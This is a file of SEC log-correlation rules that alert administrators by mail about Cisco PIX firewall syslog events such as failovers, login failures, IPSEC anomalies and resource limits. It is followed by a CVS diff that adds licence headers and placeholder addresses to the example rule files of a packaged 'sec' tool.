action=create rld_$1; add rld_$1 %t; add rld_$1 %s; add rld_$1 $0; report rld_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete rld_$1

# 199002
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Orderly reload started at.*by (\S+). Reload.*
desc=PIX $1 Reloaded by $2
action=create rld_$1; add rld_$1 %t; add rld_$1 %s; add rld_$1 $0; report rld_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete rld_$1

# 201002
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+).*Too many.*connections on (static|xlate) (\d+.\d+.\d+.\d+)
desc=PIX $1 Max Embryonics to $3 (not attack)
action=create max_$1; add max_$1 %t; add max_$1 %s; add max_$1 $0; report max_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete max_$1

# 201003
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Embryonic limit exceeded.*for (\d+.\d+.\d+.\d+\/\d+) \((\d+.\d+.\d+.\d+)\) (\d+.\d+.\d+.\d+\/\d+)
desc=PIX $1 Max Embryonics from $2 to $3 ($4) Attack
action=create emb_$1; add emb_$1 %t; add emb_$1 %s; add emb_$1 $0; report emb_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete emb_$1

# 201008
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*The PIX is disallowing new connections.
desc=PIX $1 No longer allowing connections!
action=create stp_$1; add stp_$1 %t; add stp_$1 %s; add stp_$1 $0; report stp_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete stp_$1

# 202001
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Out of address translation slots!
desc=PIX $1 Out of NAT Slots
action=create nnt_$1; add nnt_$1 %t; add nnt_$1 %s; add nnt_$1 $0; report nnt_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete nnt_$1

# 209003
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Fragment database limit of.*exceeded: src = (\d+.\d+.\d+.\d+), dest = (\d+.\d+.\d+.\d+).*
desc=PIX $1 No room to assemble more frags from $2 to $3
action=create frg_$1; add frg_$1 %t; add frg_$1 %s; add frg_$1 $0; report frg_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete frg_$1

# 209004
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Invalid IP fragment, size =.*exceeds maximum size =.*src = (\d+.\d+.\d+.\d+), dest = (\d+.\d+.\d+.\d+).*
desc=PIX $1 Frag is invalid from $2 to $3
action=create lrg_$1; add lrg_$1 %t; add lrg_$1 %s; add lrg_$1 $0; report lrg_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete lrg_$1

# 209005
# FIXME -- Cisco log message doesnt match this
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Discard IP fragment set with more than.*elements:src = (\d+.\d+.\d+.\d+), dest = (\d+.\d+.\d+.\d+).*
desc=PIX $1 To many frags from $2 to $3
action=create _$1; add _$1 %t; add _$1 %s; add _$1 $0; report _$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete _$1

# 210002
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*LU allocate block .* failed.
desc=PIX $1 Failover Block Alocation Failed
action=create fba_$1; add fba_$1 %t; add fba_$1 %s; add fba_$1 $0; report fba_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fba_$1

# 210005
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*LU allocate connection failed
desc=PIX $1 Failover Connection Failed
action=create fcf_$1; add fcf_$1 %t; add fcf_$1 %s; add fcf_$1 $0; report fcf_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fcf_$1

# 210003
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Unknown LU Object.*
desc=PIX $1 Failover: Unknown LU Object
action=create ulu_$1; add ulu_$1 %t; add ulu_$1 %s; add ulu_$1 $0; report ulu_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ulu_$1

# 210006
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*LU look NAT for (\d+.\d+.\d+.\d+) failed
desc=PIX $1 Failover NAT Sync failed for $2
action=create fns_$1; add fns_$1 %t; add fns_$1 %s; add fns_$1 $0; report fns_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fns_$1

# 210007
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*LU allocate xlate failed
desc=PIX $1 Failover xlate Sync Failed
action=create fxs_$1; add fxs_$1 %t; add fxs_$1 %s; add fxs_$1 $0; report fxs_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fxs_$1

# 210008
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*LU no xlate for (\d+.\d+.\d+.\d+\/\d+) (\d+.\d+.\d+.\d+\/\d+)
desc=PIX $1 Failover xlate Sync Failure for $2 to $3
action=create fxs_$1; add fxs_$1 %t; add fxs_$1 %s; add fxs_$1 $0; report fxs_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fxs_$1

# 210010
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*LU make UDP connection for (\d+.\d+.\d+.\d+:\d+) (\d+.\d+.\d+.\d+:\d+) failed
desc=PIX $1 Failover UDP Conn sync failure for $2 to $3
action=create fus_$1; add fus_$1 %t; add fus_$1 %s; add fus_$1 $0; report fus_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fus_$1

# 210020
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*LU PAT port (\d+) reserve failed
desc=PIX $1 Failover PAT Sync for $2 failed
action=create fps_$1; add fps_$1 %t; add fps_$1 %s; add fps_$1 $0; report fps_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fps_$1

# 210021
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*LU create static xlate (\d+.\d+.\d+.\d+).*failed
desc=PIX $1 Failover Static xlate failed for $2
action=create fxf_$1; add fxf_$1 %t; add fxf_$1 %s; add fxf_$1 $0; report fxf_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fxf_$1

# 210022
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*LU missed (\d+) updates
desc=PIX $1 Failover Sync failed for $2 updates
action=create fsf_$1; add fsf_$1 %t; add fsf_$1 %s; add fsf_$1 $0; report fsf_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fsf_$1

# 211001
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Memory allocation Error
desc=PIX $1 Memory allocation Error!
action=create mae_$1; add mae_$1 %t; add mae_$1 %s; add mae_$1 $0; report mae_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete mae_$1

# 211003
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*CPU utilization for (\d+) seconds = (.*)
desc=PIX $1 CPU high ($2) for $3 secs
action=create cpu_$1; add cpu_$1 %t; add cpu_$1 %s; add cpu_$1 $0; report cpu_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete cpu_$1

# 211003
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Dropping SNMP request from (\d+.\d+.\d+.\d+\/\d+) to.*:(\d+.\d+.\d+.\d+\/\d+).*
desc=PIX $1 SNMP Attempt from $2 to $3
action=create snp_$1; add snp_$1 %t; add snp_$1 %s; add snp_$1 $0; report snp_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete snp_$1

# 213001
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*PPTP control daemon socket io.*errno = (\d+)
desc=PIX $1 PPTP Error $2
action=create ppt_$1; add ppt_$1 %t; add ppt_$1 %s; add ppt_$1 $0; report ppt_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ppt_$1

# 213002
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*PPTP tunnel hashtable insert failed, peer = (\d+.\d+.\d+.\d+)
desc=PIX $1 PPTP hash table insert failed for $2
action=create pht_$1; add pht_$1 %t; add pht_$1 %s; add pht_$1 $0; report pht_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete pht_$1

# 213003
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*PPP virtual interface (\S+) isn't opened.
desc=PIX $1 PPP Virtual Int $2 failed to close
action=create ppp_$1; add ppp_$1 %t; add ppp_$1 %s; add ppp_$1 $0; report ppp_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ppp_$1

# 213004
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*PPP virtual interface (\S+) client ip allocation failed.
desc=PIX $1 PPP Virutal interface $2 failure (pool depleted)
action=create ppl_$1; add ppl_$1 %t; add ppl_$1 %s; add ppl_$1 $0; report ppl_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ppl_$1

#
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Denied Telnet login session from (\d+.\d+.\d+.\d+) on interface (int_name).
desc=PIX $1 Denid Telnet from $2 ($3) !!
action=create tel_$1; add tel_$1 %t; add tel_$1 %s; add tel_$1 $0; report tel_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete tel_$1

#
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Permitted Telnet login session from (\d+.\d+.\d+.\d+)
desc=PIX $1 Permitted Telnet from $2 !
action=create tel_$1; add tel_$1 %t; add tel_$1 %s; add tel_$1 $0; report tel_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete tel_$1

#
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*telnet login session failed from (\d+.\d+.\d+.\d+).*
desc=PIX $1 Telnet login guessing attack
action=create tel_$1; add tel_$1 %t; add tel_$1 %s; add tel_$1 $0; report tel_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete tel_$1

# 308001
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*PIX console enable password incorrect for (num) tries \(from (\d+.\d+.\d+.\d+)\).
desc=PIX $1 Many Enable Password failures for $3
action=create enb_$1; add enb_$1 %t; add enb_$1 %s; add enb_$1 $0; report enb_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete enb_$1

# 315011
type=SingleWithThreshold
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*SSH session from (\d+.\d+.\d+.\d+) on interface.*for user (\S+) disconnected by SSH server, reason:.*
desc=PIX $1 SSH Auth Attach from $2 ($3)
action=create ssh_$1; add ssh_$1 %t; add ssh_$1 %s; add ssh_$1 $0; report ssh_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ssh_$1
window=10
thresh=6

#
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Denied manager connection from (\d+.\d+.\d+.\d+).
desc=PIX $1 Denied Manager from $2
action=create nmg_$1; add nmg_$1 %t; add nmg_$1 %s; add nmg_$1 $0; report nmg_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete nmg_$1

# FIXME -- Add log code FWSM
type=Single
continue=takenext
ptype=RegExp
pattern==^PIXLOG (\S+)\^ .*Denied SSH session from (\d+.\d+.\d+.\d+) on interface.*
desc=PIX $1 Denied SSH from $2
action=create ssh_$1; add ssh_$1 %t; add ssh_$1 %s; add ssh_$1 $0; report ssh_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ssh_$1

#
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Permitted manager connection from (IP_addar).
desc=PIX $1 Allowed Manager from $2
action=create ymg_$1; add ymg_$1 %t; add ymg_$1 %s; add ymg_$1 $0; report ymg_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ymg_$1

# FIXME
# SET \d+.\d+.\d+.\d+ TO ! 128.135.0.x
#type=Single
#continue=takenext
#ptype=RegExp
#pattern=^PIXLOG (\S+)\^ .*Permitted SSH session from (\d+.\d+.\d+.\d+) on interface.*for user "user_id"
#desc=PIX $1 Permitted ssh $3 from $2
#action=create fsh_$1; add fsh_$1 %t; add fsh_$1 %s; add fsh_$1 $0; report fsh_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fsh_$1

#
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*SSH login session failed from (\d+.\d+.\d+.\d+) on \((num) attempts\) on interface.*by user "(\S+)"
desc=PIX $1 SSH $3 Failures from $2 by $4
action=create lsh_$1; add lsh_$1 %t; add lsh_$1 %s; add lsh_$1 $0; report lsh_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete lsh_$1

# 402101
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*decaps: rec\'d IPSEC packet has invalid spi for destaddr=(\d+.\d+.\d+.\d+).*
desc=PIX $1 IPSEC: Invalid SPI in packet from $2 (possible attack)
action=create spi_$1; add spi_$1 %t; add spi_$1 %s; add spi_$1 $0; report spi_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete spi_$1

# 402101
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*decapsulate: packet missing (.*), destadr=(\d+.\d+.\d+.\d+)
desc=PIX $1 IPSEC:  Packet to $3 did not have type $2 (possible attack)
action=create itp_$1; add itp_$1 %t; add itp_$1 %s; add itp_$1 $0; report itp_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete itp_$1

# 402103
# FIXME -- This is messy
#type=Single
#continue=takenext
#ptype=RegExp
#pattern=^PIXLOG (\S+)\^ .*dentity doesn't match negotiated identity \((ip)\) dest_addr= (\d+.\d+.\d+.\d+), src_addr= (\d+.\d+.\d+.\d+), prot= protocol, \((ident)\) local=(\d+.\d+.\d+.\d+), remote=(\d+.\d+.\d+.\d+), local_proxy=(\d+.\d+.\d+.\d+/\d+.\d+.\d+.\d+/port/port), remote_proxy=(\d+.\d+.\d+.\d+/\d+.\d+.\d+.\d+/port/port)
#desc=PIX $1 IPSEC:  Peer $2 is attempting to send other packets through us $3 $4 $5 $6 $7
#action=create per_$1; add per_$1 %t; add per_$1 %s; add per_$1 $0; report per_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete per_$1

# 402115
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Received a packet from (\d+.\d+.\d+.\d+) to (\d+.\d+.\d+.\d+) containing.*data instead of.*data.
desc=PIX $1 IPSEC: packet from $2 to $3 doesn't match negotiated proto
action=create ipx_$1; add ipx_$1 %t; add ipx_$1 %s; add ipx_$1 $0; report ipx_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ipx_$1

# 402115
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Received an.*packet.*from (\d+.\d+.\d+.\d+).*to (\d+.\d+.\d+.\d+).*The decapsulated inner packet doesn't match the negotiated policy in the SA
desc=PIX $1 IPSEC: packet from $2 to $3 is encapsulated with unexpected data.
action=create enc_$1; add enc_$1 %t; add enc_$1 %s; add enc_$1 $0; report enc_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete enc_$1

# 402118
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Received an.*packet.*from (\d+.\d+.\d+.\d+).*to (\d+.\d+.\d+.\d+) containing an illegal IP fragment.*
desc=PIX $1 IPSEC: packet from $2 to $3 has invalid fragment
action=create enc_$1; add enc_$1 %t; add enc_$1 %s; add enc_$1 $0; report enc_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete enc_$1

# 403103
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*PPP virtual interface max connections reached.
desc=PIX $1  PPP interfaces exhausted
action=create pie_$1; add pie_$1 %t; add pie_$1 %s; add pie_$1 $0; report pie_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete pie_$1

# 403109
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Rec\'d packet not an PPTP packet. \(.*\) dest_addr= (\d+.\d+.\d+.\d+), src_addr= (\d+.\d+.\d+.\d+).*
desc=PIX $1 Spoofed PPTP Packet from $3 to $2
action=create spp_$1; add spp_$1 %t; add spp_$1 %s; add spp_$1 $0; report spp_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete spp_$1

# 404101
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*ISAKMP: Failed to allocate address for client from pool (\S+)
desc=PIX $1 IPSEC: Failed to allocate addr from $2
action=create faa_$1; add faa_$1 %t; add faa_$1 %s; add faa_$1 $0; report faa_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete faa_$1

# 405001
#type=Single
#continue=takenext
#ptype=RegExp
#pattern=PIXLOG (\S+)\^ .*Received ARP.*collision from (\d+.\d+.\d+.\d+\/....\.....\.....) on.*
#desc=PIX $1 ARP Collision: $2
#action=create mac_$1; add mac_$1 %t; add mac_$1 %s;add mac_$1 %s; add mac_$1 $0; report mac_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete mac_$1

#
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Configuration replication failed for command (\S+)
desc=PIX $1 Failover replication command $2 failed
action=create rcf_$1; add rcf_$1 %t; add rcf_$1 %s; add rcf_$1 $0; report rcf_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete rcf_$1

# 709001
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*FO replication failed: cmd=(.*) returned=.*
desc=PIX $1 Failover: Command replication failed for Peer: $2
action=create rcf_$1; add rcf_$1 %t; add rcf_$1 %s; add rcf_$1 $0; report rcf_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete rcf_$1

# 316001
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Denied new tunnel to (\d+.\d+.\d+.\d+). VPN peer limit.*exceeded.*
desc=PIX $1 VPN Peer limit exceeded for $2
action=create plm_$1; add plm_$1 %t; add plm_$1 %s; add plm_$1 $0; report plm_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete plm_$1

# 317003
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*IP routing table creation failure - (.*)
desc=PIX $1 Route table Error: $2
action=create rte_$1; add rte_$1 %t; add rte_$1 %s; add rte_$1 $0; report rte_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete rte_$1

# 317004
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*IP routing table limit warning
desc=PIX $1 Routing table limit reached
action=create rtl_$1; add rtl_$1 %t; add rtl_$1 %s; add rtl_$1 $0; report rtl_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete rtl_$1

# 317005
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*IP routing table limit exceeded - (.*), (\d+.\d+.\d+.\d+).*
desc=PIX $1 Route table limit breached by $3:  $2
action=create rtb_$1; add rtb_$1 %t; add rtb_$1 %s; add rtb_$1 $0; report rtb_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete rtb_$1

# 323005
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Module in slot (\S+) can not be powered on completely
desc=PIX $1 Slot $2 will not power on
action=create slp_$1; add slp_$1 %t; add slp_$1 %s; add slp_$1 $0; report slp_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete slp_$1

# 411002
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Line protocol on interface (\S+) changed state to down
desc=PIX $1 Interface $2 is DOWN!
action=create lpd_$1; add ldp_$1 %t; add ldp_$1 %s; add lpd_$1 $0; report lpd_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete lpd_$1

# 412002
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Detected bridge table full while inserting MAC (....\.....\.....) on interface .*
desc=PIX $1 MAC Address table is FULL!
action=create brf_$1; add brf_$1 %t; add brf_$1 %s; add brf_$1 $0; report brf_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete brf_$1

# 505001
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Module in slot (\S+) is shutting down.  Please.*
desc=PIX $1 Slot $2 is shutting down!
action=create sht_$1; add sht_$1 %t; add sht_$1 %s; add sht_$1 $0; report sht_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete sht_$1

# 505002
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Module in slot (\S+) is reloading. Please.*
desc=PIX $1 Slot $2 is reloading!
action=create rld_$1; add rld_$1 %t; add rld_$1 %s; add rld_$1 $0; report rld_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete rld_$1

# 605004
type=SingleWithThreshold
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Login denied from (.*) to (.*) for user "(\S+)"
desc=PIX $1 Auth Attack from $2 to $3 ($4)
action=create ath_$1; add ath_$1 %t; add ath_$1 %s; add ath_$1 $0; report ath_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ath_$1
window=10
thresh=6

# 611102
type=SingleWithThreshold
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*User authentication failed: Uname: (\S+)
desc=PIX $1 Auth Attach from $2
action=create ath_$1; add ath_$1 %t; add ath_$1 %s; add ath_$1 $0; report ath_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ath_$1
window=10
thresh=6

# 615002
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*vlan number not available for firewall interface
desc=PIX $1 VLAN Error for FWSM
action=create vln_$1; add vln_$1 %t; add vln_$1 %s; add vln_$1 $0; report vln_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete vln_$1

#


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/sec/devel/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	28 May 2007 20:06:22 -0000	1.4
+++ .cvsignore	3 Oct 2009 07:35:39 -0000	1.5
@@ -1 +1 @@
-sec-2.4.1.tar.gz
+sec-2.5.2.tar.gz


Index: amavisd.sec
===================================================================
RCS file: /cvs/pkgs/rpms/sec/devel/amavisd.sec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- amavisd.sec	1 Sep 2006 20:54:01 -0000	1.1
+++ amavisd.sec	3 Oct 2009 07:35:40 -0000	1.2
@@ -1,5 +1,11 @@
-#Amavisd events
-
+#############################################################################
+# Amavisd events
+#
+# Copyright (C) 2003-2009 Matt Jonkman
+# This is free software. You may redistribute copies of it under the terms of 
+# the GNU General Public License version 2.
+# There is NO WARRANTY, to the extent permitted by law.
+#############################################################################
 
 #Sep  4 15:43:02 xxxxx clamd[581]: /var/amavisd/amavis-20050904T153955-46858/parts/part-00001: HTML.Phishing.Bank-1 FOUND
 type=Single


Index: bsd-MONITOR.sec
===================================================================
RCS file: /cvs/pkgs/rpms/sec/devel/bsd-MONITOR.sec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- bsd-MONITOR.sec	1 Sep 2006 20:54:01 -0000	1.1
+++ bsd-MONITOR.sec	3 Oct 2009 07:35:40 -0000	1.2
@@ -1,9 +1,14 @@
 #
-# from http://sixshooter.v6.thrupoint.net/SEC-examples/article.html
-#
 # SEC rules to pick up disruptive monitoring
 # events.
 #
+# from http://sixshooter.v6.thrupoint.net/SEC-examples/article.html
+#
+# Copyright (C) 2003-2009 Jim Brown
+# This is free software. You may redistribute copies of it under the terms of 
+# the GNU General Public License version 2.
+# There is NO WARRANTY, to the extent permitted by law.
+#
 #Logs involving syslogd disabled or unusual promiscuous mode (MONITOR)
 #----------------------------------------------------------------------
 #Nov 15 20:02:48 foohost syslogd: exiting on signal 15
@@ -50,5 +55,5 @@ type=Single
 ptype=RegExp
 pattern=\S+\s+\d+\s+\S+\s+(\S+)\s+kernel: swap_pager_getswapspace\(\S\): .*
 desc=$0
-action=pipe '$1 GET SWAP FAILURE: %s' /usr/bin/mail -s "SWAP SPACE FAIL on $1" alerts at yourdomain.com
+action=pipe '$1 GET SWAP FAILURE: %s' /usr/bin/mail -s "SWAP SPACE FAIL on $1" alerts at example.com
 


Index: bsd-PHYSMOD.sec
===================================================================
RCS file: /cvs/pkgs/rpms/sec/devel/bsd-PHYSMOD.sec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- bsd-PHYSMOD.sec	1 Sep 2006 20:54:01 -0000	1.1
+++ bsd-PHYSMOD.sec	3 Oct 2009 07:35:40 -0000	1.2
@@ -1,9 +1,13 @@
 #
-# from http://sixshooter.v6.thrupoint.net/SEC-examples/article.html
-#
 # PHYSMOD.conf - Events concerning physical modifications
 #                to the system.
 #
+# from http://sixshooter.v6.thrupoint.net/SEC-examples/article.html
+#
+# Copyright (C) 2003-2009 Jim Brown
+# This is free software. You may redistribute copies of it under the terms of 
+# the GNU General Public License version 2.
+# There is NO WARRANTY, to the extent permitted by law.
 #
 #Logs involving physical modifications (PHYSMOD)
 #------------------------------------------------


Index: bsd-USERACT.sec
===================================================================
RCS file: /cvs/pkgs/rpms/sec/devel/bsd-USERACT.sec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- bsd-USERACT.sec	1 Sep 2006 20:54:01 -0000	1.1
+++ bsd-USERACT.sec	3 Oct 2009 07:35:40 -0000	1.2
@@ -1,7 +1,12 @@
 #
+# Events concerning user activities.
+#
 # From http://sixshooter.v6.thrupoint.net/SEC-examples/article.html
 #
-# Events concerning user activities.
+# Copyright (C) 2003-2009 Jim Brown
+# This is free software. You may redistribute copies of it under the terms of 
+# the GNU General Public License version 2.
+# There is NO WARRANTY, to the extent permitted by law.
 #
 #Logs involving logins, change of UID and privilege escalations (USERACT)
 #-------------------------------------------------------------------------


Index: conf.README
===================================================================
RCS file: /cvs/pkgs/rpms/sec/devel/conf.README,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- conf.README	1 Sep 2006 20:54:01 -0000	1.1
+++ conf.README	3 Oct 2009 07:35:40 -0000	1.2
@@ -1,10 +1,10 @@
-This is the SEC configuration directory.  Because SEC usage varies so widely
-from user to user, this Fedora Extras package is configured by default to not
-run.
+This is the SEC configuration directory. Because SEC usage varies so widely
+from user to user, this package is configured by default to not run.
 
 The commented-out default settings in /etc/sysconfig/sec will load any file in
-this directory with a .sec suffix.  Please look through the example files
-included in /etc/sec/examples/ and install the ones you want here (taking into
-account that the examples are generic and some of them may need to be tweaked
-to work with your setup).  You should also read the SEC man page so you have
-at least a basic understanding of the SEC configuration commands.
+this directory with a .sec suffix. Please look through the example files
+included in /usr/share/doc/sec-<version>/examples/ and install the ones you
+want here (taking into account that the examples are generic and some of them
+may need to be tweaked to work with your setup). You should also read the SEC
+man page so you have at least a basic understanding of the SEC configuration
+commands.


Index: cvs.sec
===================================================================
RCS file: /cvs/pkgs/rpms/sec/devel/cvs.sec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- cvs.sec	1 Sep 2006 20:54:01 -0000	1.1
+++ cvs.sec	3 Oct 2009 07:35:40 -0000	1.2
@@ -1,3 +1,11 @@
+#############################################################################
+# CVS events
+#
+# Copyright (C) 2003-2009 Matt Jonkman
+# This is free software. You may redistribute copies of it under the terms of 
+# the GNU General Public License version 2.
+# There is NO WARRANTY, to the extent permitted by law.
+#############################################################################
 
 #Jul 31 19:54:21 xxxx xinetd[2088]: START: cvspserver pid=16385 from=xx.xx.xx.xx
 
@@ -14,7 +22,7 @@ type=single
 ptype=regexp
 pattern=([A-z._0-9-]*) cvs: password mismatch for (.*) in (.*)
 desc = cvs login failure
-action=pipe '$1 $2 CVS Login Failure: User $2 from $3' /usr/bin/mail -s '$1 $2 CVS Login Failure: $2 from $3' alerts at yourdomain.com
+action=pipe '$1 $2 CVS Login Failure: User $2 from $3' /usr/bin/mail -s '$1 $2 CVS Login Failure: $2 from $3' alerts at example.com
 
 
 #Aug  5 10:38:49 xxxx cvs: attempt to root from account: username
@@ -23,7 +31,7 @@ type=single
 ptype=regexp
 pattern=([A-z._0-9-]*) cvs: attempt to root from account: (.*)
 desc = cvs login to root attempt
-action=pipe ' $1 $2 CVS Login to Root Attempt: User $2 ' /usr/bin/mail -s '$1 CVS Login to Root Failure: $2' alerts at yourdomain.com
